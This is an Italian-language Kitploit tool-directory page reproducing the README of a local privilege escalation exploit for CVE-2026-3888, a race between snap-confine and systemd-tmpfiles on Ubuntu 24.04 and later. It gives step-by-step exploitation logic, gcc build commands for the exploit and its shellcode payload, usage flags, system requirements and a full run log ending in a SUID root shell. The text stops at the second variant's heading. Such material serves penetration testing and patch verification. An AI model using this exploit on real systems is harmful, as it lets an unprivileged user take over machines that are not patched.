Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — Exploit di escalation dei privilegi locali per CVE-2026-3888 che prende di mira snap-confine e systemd-tmpfiles su Ubuntu, fornendo varianti SUID e capabilities per ottenere l'accesso root. | Kitploit
Strumenti/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneRed TeamingBinary ExploitationLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

Exploit di escalation dei privilegi locali per CVE-2026-3888 che prende di mira snap-confine e systemd-tmpfiles su Ubuntu, fornendo varianti SUID e capabilities per ottenere l'accesso root.

Vedi Repository
182226 mesi faNon ancora revisionato

CVE-2026-3888 — snap-confine / systemd-tmpfiles Escalatione dei Privilegi Locali

Escalation dei privilegi locali da utente non privilegiato a root completo su Ubuntu Desktop 24.04+ sfruttando una condizione di gara TOCTOU tra snap-confine e systemd-tmpfiles. Sono fornite due varianti: SUID e Capabilities.

CVSS: 7.8 (Alto) | Advisory: Qualys | Patch: snapd 2.74.2, 17 marzo 2026

Indice

  • Confronto Varianti
  • Variante 1 — SUID
    • Come Funziona
    • File
    • Compilazione
    • Utilizzo
    • Requisiti
    • Output
  • Variante 2 — Capabilities
    • Come Funziona
    • File
    • Compilazione
    • Utilizzo
    • Requisiti
    • Output
  • Configurazione Laboratorio
  • Disclaimer

Confronto Varianti

Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, ecc.)
Snap bersagliofirefoxsnap-store
Mimica bersaglio/usr/lib/x86_64-linux-gnu (~285 voci)/var/lib (~17 voci)
Vettore di exploitSovrascrive ld-linux-x86-64.so.2 con shellcodeControlla user-fstab + ld.so.preload
Formato payloadELF statico con syscall rawLibreria condivisa con __attribute__((constructor))
Trigger rootSUID snap-confine carica linker dinamico avvelenatoSUID su in /tmp/.snap preloada .so
Requisito cgroupQualsiasi nome snap.*Corrispondenza esatta: snap.snap-store.hook.configure
Pulizia .snap30 giorni10 giorni
Fuga sandbox/var/snap/firefox/common/bash/var/snap/snap-store/common/bash

Variante 1 — SUID

Come Funziona

  1. systemd-tmpfiles elimina la directory mimica .snap obsoleta sotto /tmp (scadenza 30 giorni)
  2. L'attaccante la ricrea con contenuto controllato — tutti i file di proprietà dell'attaccante
  3. L'exploit esegue passo-passo snap-confine tramite backpressure su socket AF_UNIX per vincere in modo affidabile la gara durante la sequenza di bind-mount mimico
  4. Le librerie di proprietà dell'attaccante vengono montate nella sandbox come root
  5. ld-linux-x86-64.so.2 viene sostituito con shellcode che chiama setreuid(0,0) + execve
  6. L'esecuzione di SUID snap-confine attiva lo shellcode con privilegi di root
  7. Una bash SUID viene rilasciata in /var/snap/firefox/common/ per fuggire dalla sandbox

File

FileDescrizione
exploit_suid.cExploit unificato a binario singolo — tutte e 7 le fasi in un orchestratore basato su fork
librootshell_suid.cPayload — ELF minimale che sostituisce ld-linux-x86-64.so.2 tramite syscall x86_64 raw

Compilazione

gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Entrambi devono essere compilati su (o cross-compilati per) Linux x86_64. exploit è linkato staticamente per poter essere eseguito all'interno della sandbox snap senza dipendenze da librerie. librootshell.so usa -nostdlib perché contiene solo syscall raw — nessuna libc.

Utilizzo

./exploit <librootshell.so> [-d] [-s]
FlagDescrizione
-dMostra l'output di debug di snap-confine (modalità verbose)
-sSalta l'attesa della pulizia .snap (richiede password root)
# Esecuzione normale
./exploit ./librootshell.so

# Modalità debug
./exploit ./librootshell.so -d

# Riprova dopo un errore
./exploit ./librootshell.so -s

L'exploit entra nella sandbox, attende che systemd-tmpfiles elimini .snap (fino a 10 giorni su Ubuntu 25.10 standard e fino a 30 giorni su Ubuntu 24.04 standard), quindi esegue automaticamente la gara. In caso di successo, apre una shell root.

Requisiti

  • Ubuntu 24.04+ con snapd non patchato (< 2.74.2)
  • snap-confine deve essere SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • Uno snap con bind-mount di layout installato (firefox, snap-store, ecc.)
  • systemd-tmpfiles-clean.timer attivo
  • busybox disponibile sul sistema bersaglio (/usr/bin/busybox)

Output

user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 byte)

[Fase 1] Ingresso nella sandbox Firefox...
[+] PID shell interna: 3122

[Fase 2] Attesa eliminazione .snap...
[*] Polling (fino a 30 giorni su Ubuntu standard).
[*] Suggerimento: usa -s per saltare.
[+] .snap eliminato.

[Fase 3] Distruzione namespace mount memorizzato...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace distrutto.

[Fase 4] Configurazione ed esecuzione della gara...
[*]   Directory di lavoro: /proc/3122/cwd
[*]   Creazione di .snap e .exchange...
[*]   285 voci copiate nella directory exchange
[*]   Avvio gara...
[*]   Monitoraggio snap-confine (PID figlio 3543)...

[!]   TRIGGER — scambio directory...
[+]   SCAMBIO COMPLETATO — gara vinta!
[*]   ld-linux nel namespace: user:user 755
[+]   PID namespace avvelenato: 3543

[Fase 5] Iniezione payload nel namespace avvelenato...
[+]   ld-linux di proprietà di uid 1000 (attaccante). Gara confermata.
[*]   Installazione busybox...
[*]   Scrittura script di fuga → /tmp/sh
[*]   Sovrascrittura ld-linux-x86-64.so.2...
[+]   Payload iniettato.

[Fase 6] Attivazione root tramite SUID snap-confine...
[*]   snap-confine → snap-confine (trigger SUID)
[*]   Stato di uscita: 0

[Fase 7] Verifica...
[+] Bash root SUID: /var/snap/firefox/common/bash (modalità 4755)
[*] Pulizia processi in background...

================================================================
  SHELL ROOT: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Variante 2 — Capabilities

Come Funziona

Scarica lo strumento